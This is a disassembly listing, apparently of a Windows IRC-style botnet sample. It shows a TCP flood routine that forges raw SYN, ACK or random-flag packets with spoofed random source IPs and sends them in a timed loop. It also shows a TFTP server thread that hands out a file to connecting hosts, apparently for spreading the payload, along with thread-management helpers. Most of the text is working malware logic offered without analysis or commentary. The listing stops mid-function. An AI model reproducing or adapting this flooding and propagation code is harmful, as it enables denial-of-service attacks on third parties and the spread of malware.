		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_405E64
		add	esp, 14h


loc_411326:				; CODE XREF: sub_4111FF+102j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_BC]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_411346:				; CODE XREF: sub_4111FF+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4113B6
		lea	eax, [ebp+Dest]
		push	offset aTcpInvalidTarg ; "[TCP]: Invalid target	IP."
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_411396
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_405E64
		add	esp, 14h


loc_411396:				; CODE XREF: sub_4111FF+172j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_BC]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4113B6:				; CODE XREF: sub_4111FF+157j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	ebx
		call	dword_42EBB4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_4113EE:				; CODE XREF: sub_4111FF+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_4116B2
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_42EBB4	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_411461
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_411477
; ---------------------------------------------------------------------------


loc_411461:				; CODE XREF: sub_4111FF+233j
		push	[ebp+var_240]
		call	sub_408401
		pop	ecx
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	[ebp+var_20], eax


loc_411477:				; CODE XREF: sub_4111FF+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_411495
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_41149B
; ---------------------------------------------------------------------------


loc_411495:				; CODE XREF: sub_4111FF+284j
		push	[ebp+var_B8]


loc_41149B:				; CODE XREF: sub_4111FF+294j
		call	dword_42EBB4	; htons
		mov	[ebp+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_42EBB4	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_42EBB0	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str]
		push	offset aSyn_0	; "syn"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4114EB
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_411547
; ---------------------------------------------------------------------------


loc_4114EB:				; CODE XREF: sub_4111FF+2E1j
		lea	eax, [ebp+Str]
		push	offset aAck	; "ack"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41150B
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_411547
; ---------------------------------------------------------------------------


loc_41150B:				; CODE XREF: sub_4111FF+301j
		lea	eax, [ebp+Str]
		push	offset aRandom	; "random"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411547
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_411547:				; CODE XREF: sub_4111FF+2EAj
					; sub_4111FF+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_42EBB4	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_42EBB4	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40845A
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40845A
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_42EC14	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411634
		inc	[ebp+arg_0]
		jmp	loc_4113EE
; ---------------------------------------------------------------------------


loc_411634:				; CODE XREF: sub_4111FF+42Bj
		push	[ebp+var_4]
		call	dword_42EC48	; closesocket
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_411692
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_405E64
		add	esp, 14h


loc_411692:				; CODE XREF: sub_4111FF+46Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_BC]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4116B2:				; CODE XREF: sub_4111FF+203j
		push	[ebp+var_4]
		call	dword_42EC48	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_411723
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_405E64
		add	esp, 14h


loc_411723:				; CODE XREF: sub_4111FF+4FFj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_BC]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread
sub_4111FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411743	proc near		; CODE XREF: sub_411743:loc_411C2Ep
					; DATA XREF: sub_4022E3+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
Dest		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
DstBuf		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
Filename	= byte ptr -378h
Str1		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
Str		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
Str2		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
File		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_42EC30	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_411806
		push	190h
		call	ds:dword_41B048	; Sleep
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_4117E6
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_405E64
		add	esp, 14h


loc_4117E6:				; CODE XREF: sub_411743+7Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_170]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_411806:				; CODE XREF: sub_411743+50j
		mov	eax, [ebp+var_170]
		push	10h		; Size
		imul	eax, 234h
		push	ebx		; Val
		mov	dword_43054C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_168]
		call	dword_42EBB4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_42EBE0	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41186B
		push	1388h
		call	ds:dword_41B048	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_411C2E
; ---------------------------------------------------------------------------


loc_41186B:				; CODE XREF: sub_411743+10Dj
		lea	eax, [ebp+Filename]
		push	offset Mode	; "rb"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_4118E9
		push	190h
		call	ds:dword_41B048	; Sleep
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_405E64
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_170]
		call	sub_411F56
		add	esp, 28h
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4118E9:				; CODE XREF: sub_411743+140j
		mov	esi, 200h


loc_4118EE:				; CODE XREF: sub_411743+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_411BEE
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi		; Size
		lea	eax, [ebp+var_D8]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_42EB9C	; select
		test	eax, eax
		jle	loc_411BE2
		mov	al, byte_428D64
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_42EB8C	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_42EC3C	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_58]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_411BCC
		cmp	[ebp+var_D7], 1
		jnz	loc_411B18
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strncmp
		add	esp, 14h
		test	eax, eax
		jnz	loc_411AD2
		lea	eax, [ebp+var_1C]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]	; Str2
		push	eax		; Str1
		call	_strncmp
		add	esp, 10h
		test	eax, eax
		jnz	loc_411AD2
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	_fread
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_42EC14	; sendto
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset aTftpFileTran_0 ; "[TFTP]: File transfer	started	to IP: %s"...


loc_411A86:				; CODE XREF: sub_411743+484j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_411AC0
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_405E64
		add	esp, 14h


loc_411AC0:				; CODE XREF: sub_411743+358j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		pop	ecx
		jmp	loc_411BE2
; ---------------------------------------------------------------------------


loc_411AD2:				; CODE XREF: sub_411743+2B6j
					; sub_411743+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427FB8
		push	edi
		call	dword_42EC14	; sendto
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_402D63
		add	esp, 14h
		jmp	loc_411BE2
; ---------------------------------------------------------------------------


loc_411B18:				; CODE XREF: sub_411743+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_411BCC
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+Str2]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_411B55
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_411B63
; ---------------------------------------------------------------------------


loc_411B55:				; CODE XREF: sub_411743+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_411B63:				; CODE XREF: sub_411743+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx		; Origin
		shl	eax, 9
		sub	eax, esi
		push	eax		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		push	esi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_42EC14	; sendto
		cmp	edi, ebx
		jnz	short loc_411BE2
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		jmp	loc_411A86
; ---------------------------------------------------------------------------


loc_411BCC:				; CODE XREF: sub_411743+268j
					; sub_411743+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_427F58
		push	edi
		call	dword_42EC14	; sendto


loc_411BE2:				; CODE XREF: sub_411743+204j
					; sub_411743+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_4118EE


loc_411BEE:				; CODE XREF: sub_411743+1B4j
		push	edi
		call	dword_42EC48	; closesocket
		push	[ebp+File]	; File
		call	_fclose
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_411C22
		push	[ebp+var_170]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_411C22:				; CODE XREF: sub_411743+4CAj
		push	3E8h
		call	ds:dword_41B048	; Sleep
		push	esi


loc_411C2E:				; CODE XREF: sub_411743+123j
		call	sub_411743
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_411743	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_411C3A(char *Source,int,int)

sub_411C3A	proc near		; CODE XREF: sub_4022E3+F0p
					; sub_4022E3+20Fp ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_430340


loc_411C42:				; CODE XREF: sub_411C3A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_411C56
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4750D0
		jl	short loc_411C42
		jmp	short loc_411CA1
; ---------------------------------------------------------------------------


loc_411C56:				; CODE XREF: sub_411C3A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_430340[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_430540[esi], eax
		and	dword_430544[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_430548[esi], 0
		mov	dword_43054C[esi], eax
		and	byte_430558[esi], 0
		pop	esi


loc_411CA1:				; CODE XREF: sub_411C3A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_411C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CA5	proc near		; DATA XREF: sub_409557+4E96o

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]	; int
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Str]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_411CF7
		push	[ebp+var_14]
		call	sub_411F56
		add	esp, 14h
		push	0
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_411CA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411CF7(int,char *Str,int,int)

sub_411CF7	proc near		; CODE XREF: sub_411CA5+38p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_430340


loc_411D21:				; CODE XREF: sub_411CF7+78j
		cmp	byte ptr [esi],	0
		jz	short loc_411D62
		cmp	[ebp+arg_C], 0
		jnz	short loc_411D35
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_411D62


loc_411D35:				; CODE XREF: sub_411CF7+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 24h


loc_411D62:				; CODE XREF: sub_411CF7+2Dj
					; sub_411CF7+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4750D0
		jl	short loc_411D21
		pop	edi
		pop	esi
		leave
		retn
sub_411CF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D75	proc near		; CODE XREF: sub_409557+4150p
					; sub_411E03+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_411DFD
		cmp	esi, 1F4h
		jge	short loc_411DFD
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_430554[esi]
		lea	edi, dword_430554[esi]
		call	ds:dword_41B124	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_411DAD
		push	1
		pop	ebp


loc_411DAD:				; CODE XREF: sub_411D75+33j
		mov	[edi], ebx
		lea	edi, dword_430548[esi]
		mov	dword_430540[esi], ebx
		mov	dword_430544[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_411DCE
		push	eax
		call	sub_408BC1
		pop	ecx


loc_411DCE:				; CODE XREF: sub_411D75+50j
		mov	[edi], ebx
		lea	edi, dword_43054C[esi]
		mov	byte ptr dword_430340[esi], bl
		mov	byte_430558[esi], bl
		push	dword ptr [edi]
		call	dword_42EC48	; closesocket
		lea	esi, dword_430550[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		mov	[esi], ebx
		pop	edi


loc_411DFD:				; CODE XREF: sub_411D75+Dj
					; sub_411D75+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411D75	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E03	proc near		; CODE XREF: sub_403DCB+18p
					; sub_40724A:loc_40726Ep ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_430340


loc_411E0F:				; CODE XREF: sub_411E03+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_411E20
		push	edi
		call	sub_411D75
		test	eax, eax
		pop	ecx
		jz	short loc_411E20
		inc	ebx


loc_411E20:				; CODE XREF: sub_411E03+Fj
					; sub_411E03+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4750D0
		jl	short loc_411E0F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_411E03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E35	proc near		; CODE XREF: sub_409557+1851p
					; sub_411EC8+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_430544


loc_411E49:				; CODE XREF: sub_411E35+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_411E6B
		test	edi, edi
		jle	short loc_411E5D
		cmp	[esi], edi
		jz	short loc_411E5D
		cmp	ebx, edi
		jnz	short loc_411E6B


loc_411E5D:				; CODE XREF: sub_411E35+1Ej
					; sub_411E35+22j
		push	ebx
		call	sub_411D75
		test	eax, eax
		pop	ecx
		jz	short loc_411E6B
		inc	[ebp+var_4]


loc_411E6B:				; CODE XREF: sub_411E35+1Aj
					; sub_411E35+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4752D4
		jl	short loc_411E49
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411E35	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E82	proc near		; CODE XREF: sub_40226C+Bp
					; sub_4022E3+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_430540


loc_411E89:				; CODE XREF: sub_411E82+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_411E92
		inc	eax


loc_411E92:				; CODE XREF: sub_411E82+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4752D0
		jl	short loc_411E89
		retn
sub_411E82	endp


; =============== S U B	R O U T	I N E =======================================



sub_411EA1	proc near		; CODE XREF: sub_409557+495Dp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_430540


loc_411EAB:				; CODE XREF: sub_411EA1+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_411EC4
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4752D0
		jl	short loc_411EAB
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411EC4:				; CODE XREF: sub_411EA1+10j
		mov	eax, edx
		pop	esi
		retn
sub_411EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411EC8(int,int,int,int,int,int,int,char *Str)

sub_411EC8	proc near		; CODE XREF: sub_409557+502Ap

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_411EE1
		push	[ebp+Str]	; Str
		call	_atoi
		pop	ecx


loc_411EE1:				; CODE XREF: sub_411EC8+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_411E35
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_411F0D
		push	eax
		lea	eax, [ebp+Dest]
